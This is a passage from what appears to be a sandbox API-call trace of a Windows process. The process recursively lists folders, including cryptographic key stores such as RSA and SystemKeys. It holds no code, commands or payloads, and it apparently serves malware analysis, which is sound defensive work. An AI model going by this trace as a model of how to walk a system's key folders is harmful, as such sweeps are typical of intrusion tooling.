ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0195.048] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0195.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.048] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RSA", cAlternateFileName="")) returned 1 [0195.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.050] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0195.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.050] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0195.050] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0195.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.050] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0195.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.054] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0195.054] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.056] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0195.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.059] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0195.059] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0195.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.059] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0195.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.231] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0195.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.231] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0195.231] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.232] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 1 [0195.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.233] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0195.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.233] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0195.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0195.233] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0195.234] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.234] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0195.234] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.234] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.236] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 0 [0195.236] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.236] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0195.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.237] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0195.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.237] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0195.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.237] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0 [0195.237] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.237] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0195.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.238] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0195.238] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.238] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Views", cAlternateFileName="")) returned 0 [0195.238] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.238] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0195.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.238] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0195.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.239] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0195.239] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.239] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0195.239] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.239] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0195.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.239] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0195.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.240] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0195.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.240] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0195.240] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.240] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0195.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.240] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0195.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0195.240] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0195.241] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0195.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.241] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0195.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0195.241] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0195.241] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0195.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0195.242] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 